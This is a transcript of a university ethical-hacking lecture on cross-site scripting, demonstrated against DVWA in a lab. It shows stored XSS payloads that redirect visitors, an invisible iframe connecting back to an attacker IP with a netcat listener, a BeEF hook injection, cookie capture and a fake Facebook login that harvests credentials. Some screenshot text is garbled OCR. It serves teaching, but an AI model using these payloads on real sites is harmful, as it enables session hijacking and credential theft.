Ethical Hacking Prof. Indranil Sengupta Department of Computer Science and Engineering Indian Institute of Technology, Kharagpur

Lecture – 54 Cross Site Scripting

(Refer Slide Time: 00:15)



In today's session we will discuss about the Cross Site Scripting vulnerability. Cross site scripting also known as XSS, is a web security vulnerability that allows an attacker to compromise the interactions that users have with the vulnerable application. It allows an attacker to masquerade as a victim user to carry out any action that the user is able to perform and to access any of the users data. If the victim user has privileged access within the application, then the attacker might be able to gain full control over all of the applications functionality and data.

There are different types of cross site scripting vulnerability are there. Mainly three different types of cross site scripting vulnerability are there: reflected, stored and DOM cross site scripting. Reflected cross site scripting; a reflected cross site scripting vulnerability happens when the user input from a URL or post data is reflected on the page without being stored, thus allowing the attacker to inject malicious content. This means that an attacker has to send a crafted malicious URL or post from to the victim to insert the payload and the victim should click the link. This kind of payload is also

generally being caught by built-in cross site scripting filters in users browser; like chrome, internet explorer or edge.

Stored cross site scripting vulnerability; stored cross site scripting vulnerability happens when the payload is saved. For example, in a database and then is executed when a user opens the page on the web application. Stored cross site scripting is very dangerous for a number of reasons. The payload is not visible for the browsers cross site scripting filter. Users might accidentally trigger the payload if they visit the affected page while a crafted URL or specific form inputs would be required for exploiting reflected cross site scripting.

DOM-based cross site scripting vulnerability: the DOM-based cross site scripting vulnerability happens in the document object module; that means, in DOM instead of part of the html. Now, I will show you the reflected cross sites scripting and stored cross site scripting vulnerabilities.

(Refer Slide Time: 03:34)



Now, there is a web server is running in IP address 192.168.0.104.

(Refer Slide Time: 03:45)



(Refer Slide Time: 03:47)



So, now I am opening that particular web application which is running in the IP address 192.168.0.104.

(Refer Slide Time: 04:04)



And, under this I am going to DVWA web application that is Damn Vulnerable Web Application and make the security as low. Now, see there is cross site scripting vulnerability reflected and cross site scripting vulnerability stored.

Now, first I will show you how cross site scripting vulnerability reflected is one. So, here it asks to insert your name. Suppose, instead of name, I am inserting some script, <script> alert("XSS Stored")</script> then submit.

(Refer Slide Time: 05:16)



And, see it gives us a pop-up message which I put in the alert message. Now, suppose I want to visit that particular page from any other system.

(Refer Slide Time: 05:37)

1 182.184.1164	1		•	★ X P Ing	ą.
Fevoltes http://102168.0.104/down/ http://102168.0.104/			Shift = Enter		· lase Gleve Laste @
Patrony Damin Valmenske Web App (DVKA) (J. Damin Valmenske Web App (DVKA) (J. Netagelokatika) - Limar	0.7 – Senap 0.7 – Vulvensbilly: Stored Cros 0.7 – Welcome 0.7 – DVMA Security	11991 (2022)582,2004 (Source Verlag, php 11992 (2022)582,2004 (Source Verlage States 11992 (2022)582,2004 (Source Verlage States 11992 (2022)582,2004 (Source Verlage States 11992 (2022)582,2004 (Source Verlage States 11992 (2022)583,2004 (Source Verlage States 11992 (2022)593,2004 (Source Verlage States 11992 (2022)593,2004 (Source Verlage States 11992 (2022)594,2004 (Source Verlage States 11992 (2022)594,2004 (Source Verlage States 11992 (2022)594 (Source Verlage States 1199		a a	orden month, and a
View ta			Date		
 wanzom verture Damn Vakerable Web App (DVWA) #10.7 	Volterability- Open an Int	visite Brawing works		6	
Open All					
Respectant Browing Session	Use an A Open a well	contention .			
	Show cope	flot			
	Biog wi Biog wi Search An Transla	th Wardows Live In Bing with Bing at with Bing			
Table more should take and take departures access	heating and light-site birts in				
The second s	and of and second in order	r.			
			9 Intern	et Protected Mode: On	G + \$105 +
9 /8 🖄 🐧 🦄	3				- No. 4 - 3-3114
ALL ALL					*.3eats

So, open explorer those explorer and open the particular web application which is running in the IP 192.168.0.104 and then DVWA. The user ID and password for this is admin and password then go to XSS reflected.

So, see nothing will happen. So, that means, the script which is written in that particular system, it basically execute on that particular system. Now, I am writing the same script in cross site scripting stored vulnerability.

(Refer Slide Time: 06:31)

Applications • Places	 Firefox ESR * 		Man U/ 50 •				* 1	1.	U	•
	Damn Vuine	able Web App (DVWA	v1.0.7 :: Vulnerability: Store	Cross Site Scripting	(XSS) - Mozilla Firefox			0	0	0
📓 Damn Winerable Web /	× +									
+ + C @	@ 192.168.0.104 down	a/wherabilities/vss_s	0		Ø	10 12		III.	0	10
O Most Visited O Offens	ive Security O Kali Linux 🔨 Ka	i Docs 🖨 Kali Tools	· Exploit-DB Aircrack-	ng 🖨 Kali Forums	O NetHurter O Kall	Training 🚳 Ge	tting Started			
							10.9.151.05			
			DVWA)							ļ
	1	Adda and	line Otravel Ora		indian (MOO)	_				ļ
	Home	vulnerab	ility: Stored Cro	ss Site Scr	ipting (XSS)					
	Instructions	100000	okus							
	Setup	Name *	MIST							
	Brute Force		<script-alert(%55 stored*)<<="" td=""><td>solati</td><td></td><td></td><td></td><td></td><td></td><td>Į</td></script-alert(%55>	solati						Į
	Command Execution	weender.								
	CSRF		Sign Guestbook							
	File Inclusion		the state of the s							
	SQL Injection									
Applications ← Potes ←	SQL Injection (Blind)	Nome: lett	a last command							
	Upload	and the second s	THE CONSTRUCTION OF THE PARTY							0 10
gyperature • Force B Damm Witherable Web C → C Q. O Most Visited © Offern	XSS reflected	Name: demo Message: +								
	XSS stored	the state								
	DVWA Security	More into								
	PHIP tests	Hote: Miles, cheers, com	alana.html a.drg/wiki/Cruka-eite aurigting							ľ
	About	tite Permit of the	sarity constraint fac, hittil							
	Logout									

So, give the name suppose test then message suppose **<script> alert("XSS Stored") </script>**. Then click on Sign Guestbook. So, it also gives us the same pop-up message, but the thing is that this script is permanently stored inside the web application. So, further from any other system whoever open that particular page, he or she can able to see that pop-up messages.

(Refer Slide Time: 07:35)



So, let us try. Go to the XSS stored vulnerability page and see it also gives us the message XSS Stored. So, the basic difference between XSS reflected and XSS stored is

in XSS reflected it does not permanently store inside the web application; but in XSS stored the malicious script permanently stored inside the web application. Now, I am showing you some malicious kind of java script which we can use to infect a particular web application using the cross site scripting vulnerability.

(Refer Slide Time: 08:32)



So, before that I am reset the database otherwise the previous java script was stored inside the database.

(Refer Slide Time: 08:48)

Applications * Haces *	- HERIOKESK *	Mon U / 55 *	140	9 •
	Damn Vuiner	able Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XSS) - Mozilla Firefox	0 0	0
📓 Damn Winerable Web 🚈 🛪	+			
+ + C @	@ 192.168.0.104 dva	alvalserabiliter/vss_v/ 📋 🛡 🟠	IN CO	=
O Most Visited O Offensive S	ecurity @ Kali Linux Xa	i Docs 🔿 Kali Tools 💊 Exploit-DB 👠 Aircrack-ng 🖨 Kali Forums 🔿 Nethiunter 🖓 Kali Training 🔞 Getting Started		
				1
		DVWA)		
	Home	Vulnerability: Stored Cross Site Scripting (XSS)		
	Instructions			
	Setup	Name * demo		
	House Energy	<script-document dwins.testing.net"<="" location-"http:="" script-<="" td=""><td></td><td></td></script-document>		
	Command Execution	Message*		
	CSRF	Ten Gardina		
	File Inclusion	Contrast Contrast Contrast		
	SQL Injection			
	SQL Injection (Blind)	Name Kel		
	Upload	Metsage ras is a test comment.		
	XSS reflected	More info		
	XSS stored	http://tix.clants.org/sea.html		
	Photos Recognite	http://www.eutanianita.com/ant/sector/ana.aliksi/futing Inter/Innews.eutanianita.com/ana.faa.html		
	Det into			1
	About			
	Logout			

Now, go to XSS stored page and this is suppose demo and put the script. Then I want to redirect this particular page to any other web application or any other malicious web page.

Document.location = http:// suppose I want to redirect this page into **demo.testfire.net**. So, it maximum length is occupied. So, by inspecting the element we can change the max length. So, from 50 I make this 100. Now, I can able to type the message. So, now, I can able to type the script net and then end script. Now, Sign Guestbook.

(Refer Slide Time: 10:31)



So, it is redirect to that particular web application. Now, suppose I want to check what happen if any user open this particular malicious web page. So, suppose this is our victim and it goes to that particular web application which is running in 192.168.0.104 and then DVWA and go to the page XSS stored and see it also redirected to that particular web application. So, this way we can also redirect a particular web page to a malicious web page by which one can take a full access of the victim machine.

(Refer Slide Time: 11:51)

Applications * Places	 Parelix ESK * 		Mon US:02 • 🙌 🛄	1.	1 U	. •
	Damn Vulner	able Web App (DVWA)	v1.0.7 :: Vulnerability: Stored Cross Site Scripting (KSS) - Mozilla Firefox	0	0	0
📓 Damn Vulnerable Web /	× +					
+ + C @	@ 192.168.0.104 torn	alvulnerabilities/vss_s	0 O &	IN.		-
O Most Visited O Offens	sive Security O Kali Linux 🔨 Ka	i Docs O Kali Tools	Exploit-DB & Aircrack-ng @ Kall Forums @ NetHunter @ Kall Training & Getting Started			
at a constant of the second						
			DVWA)			
	a design of the second s	Vulnorah	ility: Stored Cross Site Scripting (VSS)			
	Home	vunerab	inty. Stored cross site scripting (ASS)			
	Instructions	1000				
	Setup	Name *	Inst			
	Brute Forme	10000	citate SRC-160/0192168.0.101.01. height-'0' with-'0'-			
	Command Execution	Message *				
	CSRF		Sign Guestionk			
	File Inclusion					
	SQL Injection					
	SQL Injection (Blind)	Nome: lett	and the second se			
	Upload	wessage ras it	a test comment.			
	XSS reflected	More info				
	XSS stored	Mar Plus cases, or	(instant)			
	Particle Property in	Interlieft, mittige Ge	utra/wit/Chrisewile.co.righting			
	DVWA Security					J.
	Pres sens					
	Parter					
	Logout					

Now, I will show you how to inject a invisible iframe to connect with the victim machine. So, go to the page XSS stored; that means, where the cross site scripting stored vulnerability is exists. Suppose, name is test and I am putting a invisible iframe; invisible malicious iframe; **<iframe SRC=http**// then the IP address of the attacker machine. Now, I need to check the IP address of the attacker machine; it is 192.168.0.101, 192.168.0.101 and using the port suppose 81 and then put the height of the iframe.

Suppose height is 0, because it is I want to make this invisible; then width, we need to increase the max length; width is 0 and then end the iframe tag; now sign guestbook. So, now, the malicious script is already injected inside the vulnerable web pages. Now, we need to open the netcat listener to listen the connection from the victim machine. So, to open the netcat connection we need to use the command **nc** –**lvp 81**. So, listening on port 81.

Now, suppose this is our victim machine and victim machine goes to that particular web application which is running on 192.168.0.104 and go to DVWA and go to that particular page where XSS stored vulnerability is present and the attacker injects some malicious script in terms of invisible iframe. Now, check from the attacker machine.

(Refer Slide Time: 14:56)



Now, see 192.168.0.102 which is the IP address of the victim machine inverse host look up well unknown host connect to 192.168.0.101 what is the IP address of the attacker machine from the IP address 192.168.0.102.

So, this way by using the cross site scripting vulnerability we can successfully able to establish the connection with the victim machine. Further, I will show you how to use the BeEF framework to penetrate inside the victim machine and reset the database to delete all the entries.

(Refer Slide Time: 16:05)



(Refer Slide Time: 16:11)



Now, now open the BeEF XSS framework.

(Refer Slide Time: 16:33)



So, username is BeEF and password is also BeEF.

(Refer Slide Time: 16:45)



Now, we use the hook up URL from this link.

(Refer Slide Time: 16:57)



Now, suppose this is our hook up URL. So, inject this URL to the vulnerable web page.

(Refer Slide Time: 17:16)

Applications * Places *	Fireflox ESK *		Mon UBSU / •		* 181	1.0	• U	
	Damn Vulner	able Web App (DVWA)	v1.0.7 :: Vulnerability: Stored Cross Site Scriptin	g (XSS) - Mozilla Firefox		0	0	0
📓 Damn Witnerable Web 🚈 🛪	BeEF Centrol Panel	X The Butcher	x +					
€ → @ @	@ 192.168.0.104/dvw	a/wherabilities/css_s	1	۵	® ☆	II/	0	- 10
O Most Visited O Offensive Se	ecurity O Kali Linux Xal	li Docs 🖨 Kali Toels	Exploit-DB Aircrack-ng O Kali Forums	O NetHanter O Kali Tr	raining 🐞 Getting Started			
			DVŴA					
	· · · · · · · · · · · · · · · · · · ·			1	_			
	Home	Vulnerab	ility: Stored Cross Site Sci	ripting (XSS)				
	Instructions		reason in					
	Setup	Name *	rgani					
	March Prove		<script-document location="http://127.0.0.1.3000/d</td> <td>emos/butcher</td> <td></td> <td></td> <td></td> <td></td>	emos/butcher				
	Grant Force	Message *	and and					
	CSRE		Sum Countrask					
	Elia Inclusion		sprourstee					
	SQL Injection							
	SQL Injection (Blind)	Name: test						
	Upload	Message This is	a test comment.					
	X55 reflected	More info						
	XSS aread	the other states and	free band					
		http://www.upedia	surg/whit/Crime site, surgiting					
	DVWA Security	The country of the	and the second second					
	PHEP Solly							
	About							
	Logout							

So, go to XSS stored page then this is nptel. Now, use the script and redirect to that particular malicious hook up URL **document.location** this equals to we need to increase the max length again ok. Now, replace this localhost IP address by the IP address of the attacker machine because we want to establish the connection with the attacker machine.

(Refer Slide Time: 18:33)

Applications * Places * LL	Terminal * Toulans and Toulans and Toulans		· (8)	140
File Edt Wew S	root@kall - root@kall -	0 0	0	
<pre>[1] You mig Foot@k [*] You mig Foot@k [*] Web UI: http: [*] Hook: «scri [*] Hook: «scri [*] Example: «scri beef-xss.scriice Loaded: hoaded Active: active Docs: naise Docs: naise Docs: naise Corous: 2017 Sep 30 08:05: 01 Mo Sep 30 08:05: 01 M</pre>	<pre>Hi:=# ifconfig lags=4163cUP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.0.101 netmask 255.255.255.0 broadcast 192.168.0.255 inet6 fe80::20:02:26186 txqueuelen 1000 (Ethernet) RX packets 11743 bytes 6204065 (5.9 MiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 4528 bytes 443772 (433.3 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 device interrupt 19 base 0x2000 mgs=73cUP,LOOPBACK,RUNNING> mtu more 5 inet 127.0.0.1 netmask 255.0.0 inet6 ::1 prefixlen 128 scopeid 0x10</pre> ktores loop txqueuelen 1000 (Local Loopback) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 803 bytes 2852725 (2.7 MiB) TX errors 0 dropped 0 overruns 0 frame 0 TX packets 803 bytes 2852725 (2.7 MiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0			
[*] Opening root@k	<mark>440⊕</mark> []/127,0.0.1:3000/ui/pane\) in: 5 43 2 1			
root@kali:-/				

So, check the IP address **ifconfig**. It is 192.168.0.101. 192.168.0.101 on quote 3000 and then end the script. Now, see the page is redirected to that particular malicious hook up page.

Now, this web page is already infected. So, suppose a victim go to that particular infected web page, then see what happened. Now, it also redirect to that particular hook up pages and see in attacker machine; in BeEF control panel it show inside the online browser it is connect with that particular victim machine.

(Refer Slide Time: 20:09)

Applications * Haces	 FirstockSK * 	Mon US 11	* 11 /		1
		BeEF Control Panel - Mozilla Firefox		0 0	1
The Butcher	X BeEF Control Panel X The Butcher	x +			
← → ⊂ ∅	@ 127.0.0.1 3000/u/ponet		0 ··· 0 d	0.1	ļ
O Most Visited O Offens	ive Security 🔘 Kali Linux 🥆 Kali Docs 🔘 Kali Tools	Exploit-DB Arcrack-ng @Kaii Forums @	NetHunter 🔘 Kali Training 🐞 Getting Started		
			P DEF 0472-mbs Sates But	Land	
Horked Browners	Comparison Al Low	Control Bottator			
Ovine Browsers					
	Detens Tulk Construct under Mitalitika I.	ne hereow wentre			l
7 0 127 0.0.1	(a) Category: Browser (6 Remai)				
7 5 = 192 148.0 101	Browner Version: UNIX/OWN		Infial/20091		
9 🗰 🖡 132 168.0 100	Browser UA String Micris/L0 (K11; Linus XIII, 64, nr 60.0) 0	tecks/201000331 Feetsu/60-3	Instantia return		
Office Browsers	Browser Language en-US		Initials sitter		
	Browser Platform: Linux x30_64		Indiada atteri		
	Browser Plagins ()		Initials.com		
	Window Size: Watth: 1360, Height: 630		induit non		
	Category: However Components (32 Beens)				
	Fault: No		Infas/zation		
	Villorer No		Indiadp abore		
	PhoneGap 101		Induitz altern		
	Google Gears No		Indialization		
	Web Sockets: Yes		Initial atten		
	QuickTime for		tertisalz altern		
	RoaPlayer No		indusia niveri		
	Windows Media Player No		Industry when		
	WebRTC Ves		totaly start		
	ActiveX No		tettadzaten		
	Session Cookies 101		tottalexter		
	Persistent Cookies 101		Industration		
	(a Category: Hosked Page (S Roma)				
	Page Title. The Butcher		initials abov		
- Contraction	Page URL http://152.168.0.101.0000/amou/butcher/index.html	6	tedakt.cher		
Been I Herrich	Fase Belever http://107.101.0.11/githuasto.instalidios/uss.st		Indiain stee.		

It will connect with all the machine which access that particular web page, it also connected. Now, suppose I am showing you some attack which we can perform in the victim machine.

(Refer Slide Time: 20:48)

Applications • Places •	More that a To release input, press CM-AR.		* 1	2.4	0
	BeEF Control Ph.			0	0
The Butcher	BEEF Control Panel X The Butcher X +				
< → C @	① 127.0.0.1:3000/u/panet	E t	9 Q	11 C	1
O Most Visited O Offensie	e Security 🔘 Kali Linux 🥆 Kali Docs 🔘 Kali Toels 🍝 Exploit-DB 🐚 Aircrack-ng 🔘 Kali Forums 🔘 Neti-Iunter	O Kall Training	Getting Started		
disessed to control and the		7.	dF 0475-skts i Salest	Res Long	
Increased Recomments				200102000	
Colle Browsers	Cartery Sector * Logo Current Browser				
4 3127.0.01	Details Ligh Common inder straffigh per temory WenRTC				
7 3 = 137 0.0.1	Geogle Dears No		Bulles (ration		
7 🛆 🗰 182.168.0 101.	Web Sockets Yes		Beliakiz millori		
7 🖷 🖏 232 368 /3 360	QuickTime: No		Indiada alter		
Office Browsers	RodPlayer No		initialization		
	Witndows Modia Player; No	Infiatz short			
	WebSTC Ym	induit: nhory			
	ActiveX No	Indiady prices			
	Session Cookies. Yes	Indiadzation			
	Pensistent Cankles. Yes		indusization		
	(a) Calegory: Heided Page (5 terrs)				
	Page Title The Dutcher		Malation		
	Page URI: http://102.158.0.101.9000/demon/butcher/Index.1819		Initialization		
	Page Referrer http://102.158-0.1040/watvahentbillets/nts_6/		Industriation 1		
	Post Name# 192188.0.101		indiate stars		
	Cookies: IEEEHOOK: TuSHIM/PSMadEisOKDU-12T1vioReg/EnvirZPOAgov/RUM02CU38U//2Vev/semitedBirC3074H	Initialization			
	(Company, Heat (2) Inema)				
	Novi NamelP 192 168 0.100		infair rise		-
	Date Min Sep 30 2003 17 4043 GMT-0530 (Inde Standard Trint)		Indialation		
	Querating System Vincous	helph alter			
	Nordware Later		Indial arken		
	CPU 101_64		industration		
	Default Browser Unincest		losializ elare		
	Screen Size: With: 136, Height 768, Colour Depth 24		Initialization)		
Basic Gramm	Touch Screen, Na		Makaten		

Now, see all the details is here right and cookies information is also there. So, you can also get the cookies information. So, by taking the cookies information we can also perform session hijacking attack.

(Refer Slide Time: 21:10)

			BeEF Control Panel	- Mozilla Fire	efox	0	
The Butcher 3	BeEF Centrel Panel	K The Butche	r × H				
← → @ @	@ 127.0.0.1 3000/u/pao	ei			0 ··· 🛡 🕻	2 85	
@ Most Visited @ Offensive	Security 🔘 Kall Linux 🥆 Kall D	ocs 🔿 Kali To	ols 🔸 Exploit-DB 🐚 A	ircrack-ng	🛛 Kali Forums 🔘 Neti-Hunter 🔘 Kali Training 🐞	Getting Started	
					🕈 bitt a	17.0 sphe Salest Bus La	and 1
Hocked Browlans	Geday Shelor # Logs		Current Browner				
 Online Browsers 127.0.0 1 	Commit 1 Jugs Commands	Ner Talley	per seture mention				
7 5 127 0.0.1	Module Tree	Mudule Results 16	where	Pretty Dath			
9 👌 📹 192.168.0.101	fagen	10 - 0400	Set .	Description:	Asks the user for their assertance and password using a foating de		
? # *- 192.168.0.100	Dersaterce (5)	0 2015-09-30	0012 connext1				
Contrast provements	 Phonegap (34) Social Evaluation (23) 			Concerned.	140		
	Ú Cleixainting			Diaks Type	Facebook	w.	
	iji Foke Landfield			Beckeng-	Cirry	*	
	Clark			Canton Logo	http://192.168.0.101.3000/ulmedia/inages/beef.prg		
	o Fake Flash Update			(Ganera only)			
	😝 Falle Notife start Bar (Chem						
	G Falle Notification the (Fe						
	Gauge Phylong						
	Pety The						
	Replace Videos (Faile Pe						
	Sampler Hypocher						
	# Fake Evenow Wro Clas						
	🔒 Familus Extension (Direto)						
	Feelor Kotensko (Drees						
	😝 Fénitor Extension (Revor						
	HTA Powersites						
	Sterforsk Dresking						
	Cher interface datase (E. v.						-plene
						19	PHOTO

Now, log is here we can also check the log and then command. There is some attack is available from here; using metaspoilt framework you can also take the access of the victim machine.

I can show you some social engineering type of attack right. Suppose, you want to **Pretty Theft**. We need to put the IP address of the attacker machine that is 192.168.0.101. Now, execute and now see.

(Refer Slide Time: 21:51)



It is showing Facebook session time out. So, you need to put the email and password exploiter@gmail.com, password login. And, now see that credential is here Email ID, exploiter@gmail.com and password is pass1234. So, this way by using the BeEF XSS framework we can also connect with the victim machine by using cross site scripting attack and lots of other type of attacker also available in BeEF framework; you need to explore all this kind of attack.

Thank you.